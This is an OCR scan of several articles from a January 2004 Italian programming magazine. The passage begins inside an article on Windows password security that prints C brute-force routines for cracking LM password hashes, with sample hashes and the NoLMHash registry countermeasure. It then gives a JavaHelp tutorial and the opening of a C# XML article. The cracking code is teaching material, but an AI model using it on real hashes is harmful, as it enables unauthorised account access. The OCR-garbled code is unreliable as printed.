tutte le possibili combinazioni. Le funzioni di brute- 
force sono infatti 7 in tutto, ciascuna per ogni possi- 
bile lunghezza della password; il nome associato ad 
ogni routine è del tipo bruteLMXQ in cui "X" può 
valere un numero tra 1 e 7. 

La funzione riceve come input la chiave hash da 
ricercare (sotto forma di vettore di 8 byte) e restitui- 
sce in output un valore booleano (in maniera espli- 
cita) e un array di 7 byte contenente la password... 
se questa è stata trovata! Analizziamo da vicino, per 
capire meglio il funzionamento del cracker, la fun- 
zione di brute-force più semplice, ovvero hrute- 
LM1(), che forza in un istante una qualsiasi pas- 
sword di lunghezza 1. 

bool bruteLMl(BYTE hash[], BYTE pwd[]) { 

BYTE h[8] = {0, 0,0,0, 0,0,0,0}; 



► 40/Gennaio 2004 



http://www.ioprogrammo.it 



La gestione delle password di Windows ■ T TEORIA & TECNICA 



BYTE p[7] = {'A',0,0,0,0,0,0}; 

int xO; 

int tl,t2,i,j; 

bool found=false; 

tl=GetTickCount(); 

printf("\n;LM Hash BruteForce => Password Length 

= l\n"); 

printf(";0 50 100\n;"); 

for(xQ = 0;xO<26;xQ+ + ) { 

HashLM(p,h); 

i = 0; 

while(h[i] ==hash[i]) i++; 

if(i>=7) found=true; 

if(found) break; 

printf("*"); 

p[0]++; 

_} 

t2=GetTickCount(); 

if(found ==true) 

printf("\n;Corrispondenza Hash Trovata"); 

else 

printf("\n;Corrispondenza Hash Non Trovata"); 
printf("\n; BruteForce Time=%d msec\n",(t2-tl)); 

BYTE* tmp; 

tmp=pwd; 

for(i = Q;i<7;i + + ) 

tmp[i] = p[i]; 

return found; 



> 



Le funzioni di tipo bruteLMXQ sono tutte identiche 
nella forma: troviamo una sezione iniziale di defini- 
zioni, segue il ciclo (o i cicli) di brute-force e infine, 
nella parte conclusiva, un test per capire se la chiave 
hash cercata è stata realmente trovata. 
Le variabili definite nella funzione sono i contatori 
(xO. . .x6) usati nei cicli di brute-force, i timer per il 
conteggio dei tempi di calcolo {tl,t2) e una variabile 









: edefinito) 


REG_SZ 


■ . ■ ••: f.-i;.~;';:-''.'j 


baseobjects 


REG DWORD 


0x00000000 (0) 


1 ' -■.-:■.•.- 


REG MULTI SZ 


msvl 


KlMnh 


REG BINARY 


00 30 00 00 00 20 00 00 


[, ■ , , jui i i , 


REG DWORD 


0x00000000 (0) 


idormaincreds 


REG DWORD 


0x00000000 (0) 


-.'• '■-'. Vvr: Sii ■ rìì.l- 


REG DWORD 


0x00000000 (0) 


jorithmpolicy 


REG DWORD 


0x00000000 (0) 


gjfcrcegue* 


REG DWORD 


0x00000001 (1) 


. : Mr. 


REG BINARY 


00 


' . ■ . ■,■:.: 


REG DWORD 


00001(1) 


: . ■ . 


REG DWORD 


0x00000000 (0) 


Kf|LsaPid 


REG DWORD 


0icc(460) 


V,:ìi-J-:-: , •: . 


REG DWORD 


0x00000001 (1) 


: , • : -. 


REG MULTI SZ 


scecli 


tanonymous 


REG DWORD 


0x00000000 (0) 


HBrestrictanonymoussam 


REG DWORD 


0x00000001 (1) 


i^SecureBoot 


REG DWORD 


0x00000001 (1) 


: .": !.v !''.:i:;ì' '.::■ 


REG MULTI SZ 


kerberosmsvl schannel wdigest 


S^NoLMHash 


REG_DWORD 


0x00000000 (0) 






Nome valore: 




NoLMHash 


1 




Dati valore: 


Base 

Esadecirnale 
Decimale 




HZ 




[ 0K ] | Annulla | 











Fig. 3: Per disabilitare la memorizzazione degli LM 
Hash, bisogna entrare nel registro di Windows XP e 
impostare una chiave "NoLMHash" posta a "1" in una 
particolare locazione dell'ISA. 



booleana di test {found). Il ciclo di for() interno alla 
funzione è il brute-force vero e proprio: esso genera, 
di volta in volta, un valore hash corrispondente ad 
una certa password e lo confronta con l'hash passa- 
to come input; le password usate per generare gli 
hash vengono variate fino ad esplorare l'intero spa- 
zio delle combinazioni (ad esempio AAA, AAB, 
AAC....AAZ e così via). 



ESTENSIONI 
SULLA LUNGHEZZA 

Dopo aver creato il brute-force per il caso 1, è facile 
estendere il caso anche per le password di lunghez- 
za superiore. 

Se consideriamo tutte le funzioni di tipo bruteLMXQ 
del nostro cracker, l'unica differenza sta infatti nel 
ciclo di for{) interno, che avrà n livelli a seconda di 
quanto è lunga la password cercata. Considerando 
ad esempio il blocco di codice di bruteLM2(), avre- 
mo quanto segue: 

bool bruteLM2(BYTE hash[], BYTE pwd[]) { 

BYTE h[8] = {0, 0,0,0, 0,0,0,0}; 

BYTE p[7] = {'A','A', 0,0,0,0,0}; 

int xO,xl; 

int tl,t2,i,j; 

bool found=false; 

tl=GetTickCount(); 

printf("\n;LM Hash BruteForce => Password Length 

= 2\n"); 

printf(";0 50 100\n;"); 

for(x0 = 0;x0<26;x0+ + ) { 

for(xl = 0;xl<26;xl + + ) { 

HashLM(p,h); 

i=0; 

while(h[i] = = hash[i]) i+ + ; 

if(i>=7) found=true; 

if(found) break; 

p[l] + + ; 

} 

if(found) break; 

printf("*"); 

p[l]='A'; p[0] + + ; 

_J 

t2=GetTickCount(); 

if(found ==true) 

printf("\n;Corrispondenza Hash Trovata"); 

else 

printf("\n;Corrispondenza Hash Non Trovata"); 
printf("\n; BruteForce Time=%d msec\n",(t2-tl)); 

BYTE* tmp; 

tmp=pwd; 

for(i=0;i<7;i + + ) 

tmp[i] = p[i]; 

return found; 




MAIUSCOLO 
O MINUSCOLO? 

Poiché LMhash non 
distingue le password 
minuscole da quelle 
maiuscole, potrebbe 
accadere che la 
password trovata dal 
cracker non sia quella 
reale, nel senso che 
differisce da quella 
vera per il formato di 
alcune lettere 
(maiuscole/minuscole). 
In questo caso per 
completare l'attacco 
bisognerebbe testare 
anche il valore 
NTLMhash, che usando 
l'algoritmo MD4, è 
case-sensitive. 



http://www.ioprogrammo.it 



Gennaio 2004/41 ► 



TEORIA & TECNICA Y La gestione delle password di Windows 




Analogamente, nella funzione usata per forzare le 
password di 3 caratteri, troveremo questa struttura 
di cicli innestati: 

bool bruteLM3(BYTE hash[], BYTE pwd[]) { 



for(xQ = 0;xO<26;xO+ + ) { 

for(xl = 0;xl<26;xl + + ) { 

for(x2 = 0;x2<26;x2+ + ) { 

HashLM(p,h); 

NOj 

while(h[i] ==hash[i]) i++; 

if(i>=7) found=true; 

if(found) break; 

p[2] + + ; 

> 

if(found) break; 

p[2]='A'; p[l] + + ; 

} 

if(found) break; 

printf("*"); 

p[l]='A'; p[0] + + ; 

} 

Il caso limite è ovviamente quello di una password 
di 7 caratteri, in cui sono necessari ben 7 cicli di for() 
per poter esplorare l'intero spazio di ricerca. Ciò 
rivela la complessità dell'algoritmo di cracking, 
complessità che comunque è stata ridotta grazie alle 
scelte superficiali di Microsoft. 
Il cracker scritto in queste pagine (peraltro senza 
ottimizzazioni di codice) impiega, infatti, poco più 
di 2 ore per rivelare una password alfabetica di Win- 
dows: un vero record! 



CONCLUSIONI 

Non rimane che definire il main() del nostro pro- 
gramma, considerando sempre lo schema logico del 
nostro algoritmo. Nel sorgente sono riportati alcuni 
esempi di chiavi LMhash utili per effettuare qualche 
test dell'algoritmo nei diversi casi possibili. 
Con questo, si conclude la nostra panoramica sulle 
password di Windows, in cui abbiamo imparato che 
spesso la sicurezza venduta da Microsoft è soltanto 
apparente... 

void main() { 

int i; 

bool r=false; 

//Ecco alcune chiavi hash per effettuare i test del 

password cracker 

//Commentare i blocchi non utilizzati 

/* 

//test#l - PASSWORD NULLA 

BYTE lmhashl[8] = {0xAA,0xD3,0xB4,0x35, 



*/ 



0xB5,Qxl4,0x04,0xEE}; //nuli 

BYTE lmhash2[8] = {0xAA,0xD3,0xB4,0x35, 
0xB5,0xl4,0x04,0xEE}; //nuli 

//test#2 - PASSWORD="zzabc" (password <= 7 car.) 
BYTE Imhashl[8] = {0xe0,0xd7,0x62,0x46,0x21, 

0x98,0xf5,0x75}; //"zzabc" 

BYTE lmhash2[8] = {0xAA,0xD3,0xB4,0x35, 

0xB5,0xl4,0x04,0xEE}; //nuli 

//test#3 - PASSWORD="zzzabczzz" (password > 7 car.) 
BYTE Imhashl[8] = {0xl8,0x87,0x99,0x5c,0x6e, 

0xc7,0xcb,0x97}; //"zzzabcd" 

BYTE Imhash2[8] = {0xcf,0x78,0xd4,0x60,0x7d, 

0x48,0x81,0x38}; //"zzz" 

if(isNull(lmhashl) && isNull(lmhash2)) 

printf("\n; PASSWORD NULLA\n\n"); 

else if(isNull(lmhash2)) { //password <=7 

printf("\n; PASSWORD < = 7 CARATTERI\n\n"); 

BYTE pwd[7]; 

r=bruteLMl(lmhashl,pwd); 

if(!r) r=bruteLM2(lmhashl,pwd) 
if(!r) r=bruteLM3(lmhashl,pwd) 
if(!r) r=bruteLM4(lmhashl,pwd) 
if(!r) r=bruteLM5(lmhashl,pwd) 
if(!r) r=bruteLM6(lmhashl,pwd) 
if(!r) r=bruteLM7(lmhashl,pwd) 

printf("\n; \n"); 

printf("PASSWORD="); 

for(i=0;i<7;i + + ) 

printf("%c",pwd[i]); 

} 

else { //password >7 

printf("\n; PASSWORD > 7 CARATTERI\n\n"); 

BYTE pwd_sx[7]; 

BYTE pwd_dx[7]; 

bruteLM7(lmhashl,pwd_sx); 

r=bruteLMl(lmhash2,pwd_dx); 

if(!r) r=bruteLM2(lmhash2,pwd_dx); 

if(!r) r=bruteLM3(lmhash2,pwd_dx); 

if(!r) r=bruteLM4(lmhash2,pwd_dx); 

if(!r) r=bruteLM5(lmhash2,pwd_dx); 

if(!r) r=bruteLM6(lmhash2,pwd_dx); 

if(!r) r=bruteLM7(lmhash2,pwd_dx); 

printf("\n; \n"); 

printf("PASSWORD="); 

for(i=0;i<6;i + + ) 

printf("%c",pwd_sx[i]); 

for(i=0;i<7;i + + ) 

printf("%c",pwd_dx[i]); 

> 



Ing. Elia Florio 



► 42/Gennaio 2004 



http://www.ioprogrammo.it 



Java Help ■ T TEORIA & TECNICA 



Integrare un motore di help in applicazioni Java 

Creare l'help 
online in Java 

Le difficoltà e la noia che costa fornire l'help alle applicazioni sono 
spesso sufficienti a frenare le nostre buone intenzioni. In questo 
articolo cerchiamo di spiegare la parte piacevole della faccenda. 



Il successo di un software dipende anche dalla 
qualità e dalla disponibilità di guide on-line. 
Quale strumento utilizzare per realizzare in 
modo veloce e flessibile un help? Una soluzione eco- 
nomica, veloce, personalizzabile ed estensibile è 
Java Help Tecnology. Il sistema JavaHelp è costituito 
da una serie di API Java, sviluppate dalla SUN, che 
forniscono un sistema efficiente per incorporare 
l'help in linea all'interno d'applicazioni di vario 
genere tra cui: 

• Applicazioni standalone 

• Componenti JavaBeans 

• Applet 

• Applicazioni Java Server-based 

• Desktop 

Anticipiamo subito che, per creare un semplice help, 
sarà sufficiente scrivere delle pagine HTML per i vari 
argomenti di help e alcuni file di configurazione in 
XML. In questo articolo esploreremo i vari scenari di 
utilizzo e le potenzialità offerte da JavaHelp. 



INSTALLAZIONE 

JavaHelp è un package opzionale del J2SE SDK e 
quindi, come prima operazione, dobbiamo installa- 
re una Java 2 Platform, Standard Edition SDK (J2SE), 
versione 1.2.2 o successiva. Possiamo trovare tutto il 
necessario sul sito della SUN: http://java.sun.com/ 
products/javahelp da cui occorrerà scaricare le API: 
javahelp-2_0.zip e, volendo, anche la guida java- 
help-2_0-guide.pdf. Dopo aver scompattato le API 
occorrerà impostare nel CLASSPATH il file JAR con- 
tenente le API: 

set classpath = %classpath%; 

javahelp_installation_dir\javahelp\lib\jhall.jar 



<javahelp_installation_dir> è la directory di installa- 
zione di JavaHelp ejhall.jar è il file principale conte- 
nente tutte le librerie. Da questo momento in poi 
potrete utilizzare JavaHelp nei vostri programmi. 
Nel file scaricato sono disponibili anche una serie di 
esempi molto interessanti, oltre alla consueta docu- 
mentazione SUN. 



CONCETTI PRINCIPALI 

Per realizzare un help occorre creare i file contenen- 
ti meta- dati (utilizzati per presentare le informazio- 
ni), e i file di help degli argomenti (topicfìles). L'in- 
sieme di tali file costituisce YHelpSet. I passi da se- 
guire per creare un HelpSet sono: 

• Creare i file HTML dei vari argomenti. 

• Creare un helpset file (.hs). 

• Creare un map file (Jhm). 

• Creare un file dei contenuti TOC. 

• Creare un database per le ricerche. 

• Comprimere ed incapsulare i file di help in 
un file JAR per gli utenti finali. 

Analizziamo ora come sono strutturati i file. 

HelpSet file 

L' HelpSet file è un file XML che definisce come è 
composto un HelpSet. Tale file dovrà avere come 
estensione "hs". Il rag <title> definisce il titolo della 
finestra principale. Esso è organizzato nelle seguen- 
ti sezioni all'interno del tag principale <helpset>: 

• Maps <maps> 

Consente di indicare il map file contenente l'asso- 
ciazione (o mapping) tra l'ID di un argomento {topic 
ID) e l'URL relativo. Un topic ID è una stringa che 
identifica univocamente un argomento dell'help. Ad 




^CD ^WEB 



Mg* 



Per utilizzare JavaHelp 
2.0 occorre installare la 
Java 2 Platform, 
Standard Edition SDK 
(J2SE SDK) dalla 
versione 1.2.2 in poi. 



http://www.ioprogrammo.it 



Gennaio 2004/43 ► 



TEORIA & TECNICA T ■ Java Help 




ogni argomento deve essere associato un file HTML 
che sarà visualizzato nel pannello dei contenuti. I 
tag principali sono: 

S <homeId>: ID dell'argomento di default mostra- 
to all'apertura della finestra di help. 
S <mapref>: specifica il file di map o il suo URL 

• Navigationalviews<wew/> 

È la sezione più grande dell'HelpSet file e definisce i 
pannelli di navigazione {help views) che saranno 
presenti nella guida. I tag principali sono: 
S <name>: Nome del pannello (o view). 
S <label>: Tooltip per il view. 
S <type>: Tipo di view. 
S <data>: Specifica il file dei dati o il suo URL. 
S <image>: Immagine del pannello contenente il 
view 



Map file 

Tale file è utilizzato per associare ad ogni argo- 
mento (topic) un ID e un URL, che può essere loca- 
le o remoto, dove reperire il relativo documento 
HTML. LTD è una stringa è deve essere unico 
all'interno della mappa delYHelpSet. Il map file è 
anch'esso in formato XML, ma per convenzione 
avrà estensione ".jhm". 
I tag principali sono: 

• <map>: Top level tag 

• <map ID>: È una singola map entry con i 
seguenti attributi: 

S target: Specifica il nome dell'argomento. 

/ uri: Indica l'URL del documento HTML ad 
esso associato. Possono essere utilizzati di- 
versi protocolli: File, Http, Ftp, ejar 



Oltre alla main 

window abbiamo la 

possibilità di utilizzare 

altri tipi di finestre: 

secondaria e di popup. 

Questi tre tipi di 

finestre costituiscono 

l'insieme degli Help 

viewers. 



Le viste predefinite sono TOC, Index, Glossary, 
Search e Favorites. 

• SubHelpSet <subHelpSet> 

Utilizzato per includere staticamente un altro Help- 
Set. 

• Presentation <presentation> 

Definisce le finestre utilizzate nell'helpset per pre- 
sentare le informazioni. I tag principali sono: 
S <name>: Nome della finestra. 
S <size>: Dimensione della finestra tramite gli at- 
tributi width e height. 
S <location>: Posizione della finestra tramite gli 
attributi: x per la coordinata orizzontale e y per 
quella verticale. 
S <title>: Titolo della finestra. 
S <toolbar>: Indica che la finestra ha una toolbar. 

Occorre definire i pulsanti presenti nella toolbar 
nel seguente modo: 

<helpaction> javax.help.HelpAction </helpaction> 

dove HelpAction può essere una delle seguenti 
classi di default: 



BackAction 
ForwardAction 
PrintAction 
ReloadAction 



FavoritesAction 
HomeAction 
PrintSetupAction 
SeparatorAction 



TOC file 

È un file XML che definisce le voci che saranno in- 
cluse nel pannello di navigazione di tipo TOC [Table 
OfContents). I tag principali sono: 

• <toc>: Top level tag 

• <tocitem>: definisce un singola TOC entry con i 
seguenti attributi: 

S target: specifica il topic ID associato a tale 

TOC item 
S text: indica il testo da visualizzare nel TOC 

view 

Index e glossary file 

\lindex è un file XML che definisce gli ID che fanno 
parte dell'indice. Tale vista è simile alla TOC, ma è 
organizzata in ordine alfabetico. 

I tag principali sono: 

• <index>: Top level tag 

• <indexitem>: definisce un index entry con i 
seguenti attributi: 

S target: specifica il topic ID associato a tale 

index item 
S text: indica il testo da visualizzare nel index 

view 

II glossary file definisce un glossario, cioè una breve 
descrizione dei termini utilizzati. Esso ha la stessa 
struttura dell'index file. 



• Implementation <impl> 
Definisce la classe HelpBroker e il visualizzatore dei 
contenuti da utilizzare per i vari tipi MIME. I tag sono: 
S <helpsetregistry>: registra la classe HelpBroker 
di default tramite l'attributo helpbroker class. 
<viewregistry>: Registra un classe per visualizza- 
re il contenuto di un tipo MIME. Si utilizzano gli 
attributi viewertype e viewerclass così come 
mostrato nell'esempio. 



/ 



File dei contenuti 

Sono i file HTML che contengono le informazioni di 
help. JavaHelp è compatibile con la versione 3.2 
dell'HTML quindi, al momento, non sarà possibile 
visualizzare correttamente pagine html che utilizza- 
no tag di versioni successive. Inoltre tutti i link tra un 
argomento e un altro in un helpset devono essere 
relativi, in modo da essere indipendenti dalla direc- 
tory d'installazione: 



^ 44/Gennaio 2004 



http://www.ioprogrammo.it 



Java Help ■ T TEORIA & TECNICA 



<A href="../subtopicB/topic.html">new Topic </A> 

È anche consigliabile utilizzare come separatore il 
carattere /. Nei sistemi Windows funziona corretta- 
mente anche il separatore \, ma installando il tutto 
su un sistema operativo diverso i riferimenti non 
funzionerebbero più. 

Pannello dei preferiti 

Il pannello dei preferiti {o favoritesi è un pannello di 
navigazione che conterrà gli argomenti dell'help che 
l'utente intende salvare per un rapido accesso. Per 
attivare tale pannello occorre impostare la vista 
apposita nell'helpset file nel seguente modo: 

<view> 

<name> Favorites</name> 

<label>Favorites</label> 

<type>javax.help.FavoritesView</type> 

</view> 

e successivamente impostare il pulsante nella tool- 
bar della finestra nel seguente modo: 

<presentation default="true"> 

<toolbar> 

<helpaction>javax.help.FavoritesAction</helpaction> 

</toolbar> 

</presentation> 

Dopo aver visualizzato la finestra di help occorrerà 
premere il pulsante dei preferiti quando ci troviamo 
su un topic che si vuole aggiungere all'elenco. Il 
sistema creerà in automatico, e in modo del tutto 
trasparente all'utente, un file chiamato Favorites. 
xml nella directory d'installazione di JavaHelp in cui 
saranno memorizzati tutti i dati relativi agli argo- 
menti preferiti. Al riavvio successivo dell'help tutte 
le voci presenti in tale file saranno inclusi nel pan- 
nello dei preferiti. 



RICERCHE ALL'INTERNO 
DELL'HELP 

Gli strumenti base messi a disposizione da JavaHelp 
comprendono anche un package {javax.help.search) 
per la creazione di un database dei contenuti e la 
ricerca di tipo full-text. Il motore di ricerca {search 
erigine) utilizzato in JavaHelp si avvale di un metodo 
di ricerca basato sul linguaggio naturale che non 
ritrova soltanto documenti ma identifica passaggi 
specifici, all'interno di questi documenti, che ap- 
prossimano meglio la query di ricerca. Il sistema uti- 
lizza un index engine che analizza i documenti e 
produce un indice del loro contenuto e un search 



engine che utilizza tale indice per effettuare le ricer- 
che. Dopo aver creato i file HTML di contenuto pos- 
siamo creare il database di ricerca con il seguente 
comando: 

jhindexer <file of contents directory> 

dove <file of contents directory è la directory al cui 
interno sono presenti i file di contenuto. Sarà effet- 
tuato il parsing dei file html e creato il database con 
tutti i termini in essi contenuti. Questo comando 
genererà diversi file che saranno salvati nella direc- 
tory di default JavaHelpIndex. Per visualizzare e uti- 
lizzare il pannello di ricerca è sufficiente indicarlo 
nell'HelpSet file nel seguente modo: 

<view> 

<name>Search</name> 

<label>Text Utility Word Search</label> 

<type>javax.help.SearchView</type> 

<data>JavaHelpSearch</data> 

</view> 

dove <data> indica la directory o l'URL che contiene 
il DB di ricerca. È possibile utilizzare delle direttive 
per la creazione del database, come ad esempio 
indicare quali file includere nel database o un file 
contenenti le stopword, cioè tutte le parole che 
dovranno essere escluse dal database (Es. a, e, di, il, 
tra, quando, ecc. . .). Il search engine utilizza una tec- 
nica chiamata relaxation ranking per identificare il 
punteggio di un testo specifico che risponde alle 
richieste dell'utente. Inoltre sono utilizzate anche 
tecniche di morphing per trovare termini con radici 
comuni. Ad esempio, se ricerco la parola built il ri- 
sultato conterrà anche documenti in cui sono pre- 
senti le parole builder, building, builds, ecc. I risulta- 
ti sono presentati come mostrato nella Fig. 1. Il cer- 
chietto nella prima colonna indica il ranking, ossia il 
numero di match con la query di ricerca per quel- 
l'argomento. Più il cerchietto è pieno e maggiore è il 
suo ranking; esistono cinque possibili ranking per 
ogni risultato. Il numero presente nella seconda co- 
lonna indica il numero di volte che la query ha mat- 
chato con l'argomento presentato. Il testo indica il 
nome dell'argomento (o topic) specificato nel tag 
<title>. 

Per evitare confusione assicurarsi che il tag <title> 
corrisponda al titolo utilizzato nella tabella dei con- 
tenuti (TOC). 



UTILIZZAZIONE 
DELLA RICERCA 

Dopo aver costruito tutti i file e creato il database per 
le ricerche potremo visualizzare l'help utilizzando il 
comando: 




Le ricerche di tipo full- 
text effettuano le 
ricerche in base a una o 
più parole contenute 
nella query di ricerca. 



OD Q> 



Fimi fcjl-lsit idilli lebullb 



# 2 L intiH a< ions and Bugs 

• 3 hJl I ext Search 
m 1 Rcquiromonte 
Q 3 FUI letf Search 
Q 3 Programming with the Java 
Q 2 Localmng the Full Taxi Sea 
Q 2 The jhindexer Comniand 
w 2 The ihsearch Comniand 
v 2 JavaHelp Libraries and Tao 
m 1 Merging HelpSets 

ìm 1 Localieing HelpSets 

1 Preface 

v 1 The HelpSet rie 

w 1 L ocalizing Help Information 

1 1 ~~ [il 



Fig. 1: Risultato della 
ricerca. 



http://www.ioprogrammo.it 



Gennaio 2004/45 ► 



TEORIA & TECNICA T ■ Java Help 





SUL WEB 



È possibile iscriversi a 

due mailing list, 

javahelp-info e 

ja vahelp-interest. 

È sufficiente inviare 

un'email all'indirizzo 

di posta 

I istserv@javasoft.com 

con soltanto una riga 

nel corpo del 

messaggio: 

subscribe javahelp-info 

o subscribe javahelp- 

ìnterest. 

SUN - JAVAHELP - Web: 

http://java.sun.com/ 
products/javahelp/ 



2^ 



HelpSet Information - 



HelpSet Name: rnyH 
HelpSet URL: 



Browse... | 



Display | | Cancel | 











Appftcazione 


\ 


















■ 
l 


1 


■ 

■ 
i 
■ 
■ 


Dati ili hcip 








1 

■ 
network 

i 


- 


















Fig. 3: Scenario di utilizzazione Application e Network. 



Fig. 2: hsviewer.jar per l'utilizzo dell'help secondo lo 
scenario del chiosco informativo. 



java -jar JavaHelp_home/demos/bin/hsviewer.jar 

sarà mostrata una finestra (Fig. 2) in cui occorrerà 
specificare il nome del file di helpset (.hs) da aprire. 
In alternativa, è possibile indicare tale file attraverso 
un parametro nel seguente modo: 

java -jar JavaHelp_home/demos/bin/hsviewer.jar 

-helpset "helsets_file.hs" 

Questo metodo di visualizzazione di un help è sol- 
tanto uno dei tanti scenari di utilizzazione possibili, 
definito chiosco informativo. Esso è indipendente 
dall'applicazione ed è utilizzato per una prima fase 
di verifica o per fornire documentazione (es. l'help 
di un sistema operativo). 

Applicazioni standalone 

È lo scenario più semplice: un'applicazione Java, 
eseguita localmente, accede ai dati di help installati 
sulla stessa macchina. L'applicazione richiede la 
creazione di un'istanza di JavaHelp, carica i dati e poi 
interagisce con questa istanza. L'help on-line può 
essere invocato selezionando una voce di un menù 
di help o cliccando su un pulsante di Help presenta 
in una finestra. 



Network Application 

Tale scenario (Fig. 3) è 
del tutto simile a quello 
precedente, l'unica dif- 
ferenza consiste nella 
locazione dei dati di 
help. In tale scenario i 
dati sono caricati dalla 
rete in modo trasparen- 
te all'applicazione. 

















= 


Application* 


-1 






t*vtt*>p 


\ 


Dxldlhtip 



















Fig. 4: Utilizzazione Embedded. 



Embedded help 

In tale scenario (Fig. 4) 
entrambi i pannelli, di 
navigazione e di conte- 
nuto, sono inclusi diret- 
tamente nelle finestre 
dell'applicazione. 

Component help 

Molte applicazioni re- 
centi sono composte da 



una collezione di componenti che interagiscono tra 
di loro, es. JavaBeans, ognuno dei quali con i propri 
dati di help. Potremmo avere due JavaBean e deside- 
riamo unire le informazioni di help di entrambi in 
una stessa tabella dei contenuti. La Fig. 5 illustra lo 
scenario descritto. 

























Appi le azione 

Bcan2 


f^ 






**-^ B«M 


11 D.ill il Hi 


r 




















.«. 1 








" 




r^ 














Bun2 l>.m ili Hilp 

















Fig. 5: Utilizzazione Component. 

Applet 

Esistono tre metodi differenti per utilizzare JavaHelp 
all'interno delle applet (Fig. 6). Nel primo si presup- 
pone che il browser contenga già un'implementa- 
zione del sistema JavaHelp e una versione di JRE. In 
tal caso occorrerà scaricare l' applet dal server ed 
eseguirla. Nel momento in cui l'utente richiede 
l'help sarà l' applet ad inoltrare tale richiesta al siste- 
ma JavaHelp presente sul server. Quest'ultimo prov- 
vederà a fornire i dati che saranno poi visualizzati 
dall'applet. Nel secondo metodo le API JavaHelp 
non sono presenti nel browser ma sono scaricate 
con l' applet. Tutto il resto è identico allo scenario 
precedente. L'ultimo metodo possibile è quello in 
cui il browser non possiede né le classi del sistema 
JavaHelp ne una versione del JRE. In tal caso insie- 
me all'applet è scaricato il Java Plug-in, che consen- 
te all'utente di scaricare e installare l'appropriato 
JRE, e le API JavaHelp. 




Fig. 6: Java Help e Applet. 

Server-based 

Combinando le API JavaHelp con nuovi librerie di 
tag JSP per JavaHelp è possibile fornire un help 
anche per le applicazioni server-based tramite pagi- 
ne HTML e un browser (Fig. 7). Un browser effettua 
una richiesta JSP (Es. l'help di una voce presente nel- 
l'helpset), il server Java trasforma tale richiesta in 
una servlet la quale accede all'informazione richie- 
sta tramite l'helpset, utilizzando le classi della libre- 



► 46/Gennaio 2004 



http://www.ioprogrammo.it 



Java Help ■ T TEORIA & TECNICA 




jll.jill jllTiìijS.jtlI 



Fig. 7: Utilizzazione Server-based. 

ria JavaHelp denominatayfo.y'ar e le libreria di tag per 
JavaHelp denominata jhtags.jar, e restituisce una 
pagina HTML. 

Alcuni degli scenari descritti saranno illustrati in 
modo più approfondito nei prossimi articoli. Così 
come esistono diversi scenari di utilizzazione di 
JavaHelp esistono anche diversi scenari di ricerca, 
cioè i diversi modi in cui possiamo utilizzare il mec- 
canismo di ricerca. Ne possiamo individuare tre: 

• Standalone: tutti i componenti sono locali 
all'applicazione. 

• Client-side: è simile allo scenario precedente 
eccetto per il fatto che le componenti sono sca- 
ricate dal server (Fig. 8). Tale scenario è utilizza- 
to nelle applet dove i dati dell'help e l'applet ri- 
siedono sul server. Quando si effettua una ricer- 
ca per la prima volta il database di ricerca è 
scaricato dal server, immagazzinato nella me- 









■ 

i ■ 


1 




-ir II -'o:n- 


f ' 










i L 






1 I 


^^^ • D*tì é\ i . ■ li 






= 




■ S«irch 

* Darà 
■ 


^^ 













Fig. 8: Scenario di ricerca standalone e client-side. 

moria del browser o in file temporanei ed infine 

si effettua la ricerca. I file di help delle singole 

voci sono scaricate solo quando devono essere 

visualizzati. 

Server-side: in tale scenario (Fig. 9) il database di 

ricerca, i file di help e il motore di ricerca sono 




Fig. 9: Scenario di ricerca server-side. 



tutti localizzati sul server e soltanto i risultati 
della ricerca sono scaricati sul server. Sì evita 
così di scaricare il database di ricerca ed è molto 
utilizzato con servlet Java. 



INCAPSULAMENTO 
DI UN HELPSET 

Utilizzando il protocollo jar. è possibile impacchet- 
tare tutti i file di help in un file JAR da inoltrare agli 
utenti. Sono realizzabili diversi tipi d'impacchetta- 
mento: ad esempio i file di helpset e di map possono 
essere incluse nel file JAR o esclusi da quest'ultimo. 
Le modalità di incapsulamento influiranno sulle 
modalità di distribuzione delle informazioni di help 
e sul loro aggiornamento. Normalmente si includo- 
no nel file JAR i file dei metadati e i file html degli ar- 
gomenti escludendo l'helpset file (Fig. 10). Ciò per- 
ché esso contiene tutte le informazioni del sistema 
di help ed è l'unico file riferito esplicitamente dal- 
l'applicazione. In tal modo l'helpset file potrà essere 
aggiornato senza modificare il file JAR. Es. 

<maps> 

<mapref location="jar:file:/c:myHelpjar!/MyMapjhm7> 
</maps> 

Notiamo che occorrerà riferirsi al map file utilizzan- 
do il protocollo jar:. Per creare il file JAR occorre po- 
sizionarsi nella directory dove sono presenti tutti i 
file e lanciare il seguente comando: 

jar -cvf myHelp.jar * 

Purtroppo al momento il protocollo jar. presenta un 
bug (che speriamo sia risolto al più presto), ovvero 
non consente il riferimento relativo nei file JAR, ma 
occorre utilizzare un indirizzamento assoluto. Ad 
esempio: 

jar:file://c:/myHelp/myHelp.jar!map.jhm 

Per tale motivo occorre includere sempre l'helpset 
file nel file JAR. 



CONCLUSIONI 

Ciò che mi premeva è illustrare tutti i possibili utiliz- 
zi di JavaHelp e la composizione dei file di configu- 
razione. Vorrei sottolineare come al momento non 
abbiamo scritto una linea di codice Java per creare il 
nostro help. Nel prossimo articolo vedremo come 
collegare, con poche linee di codice Java, l'help in 
un'applicazione e come implementare alcuni degli 
scenari illustrati. 

Giovanni Dodaro 




WBSHWBHq-, 






Fig. IO: Modalità 
d'incapsulamento dei 
file di progetto in un file 
Jar. 




GLOSSARIO 



JAR 

Il protocollo jar: 
consente di riferirsi 
esplicitamente a un file 
o a una directory 
all'interno di un file 
JAR secondo la 
seguente sintassi: 

jar:<url>! /{entry} 

Il separatore è "!/". Per 
indicare un file 
all'interno di un file 
JAR: 

jar: http://www.foo.com/ 

bar/baz.jar!/COM/foo/ 

Quux.class 



http://www.ioprogrammo.it 



Gennaio 2004/47 ► 



TEORIA & TECNICA T Lo standard XML nella piattaforma .NET 



Manipolazione XML in C# 



Importare 
oggetti complessi 

Nei mesi precedenti abbiamo creato un componente C# in grado di 
mappare codice XML in oggetti semplici. In quest'articolo vedremo 
come estendere il componente per oggetti complessi. 




Definiamo "oggetto complesso" un oggetto 
che, oltre a contenere campi appartenenti a 
tipi base, contiene anche oggetti annidati. 
In questo articolo vedremo come implementare le 
intefacce Handle e MappingFramework, viste il 
mese scorso, in modo che il nostro componente 
possa funzionare anche con oggetti complessi. 



rio aggiungere la definizione di <classfleld> } come 
segue: 



□ CD □ WEB 

XML_CS.zip 



MAPPARE 
©^|m=d OGGETTI COMPLESSI 




LISTATI 

Sul CD allegato alla 

rivista sono presenti 

sia i listati relativi a 

questo articolo, sia il 

codice delle classi 

implementate nei 

numeri precedenti e 

qui utilizzate. 



La prima cosa da fare è definire il modo col quale 
descrivere - all'interno del documento XML - un 
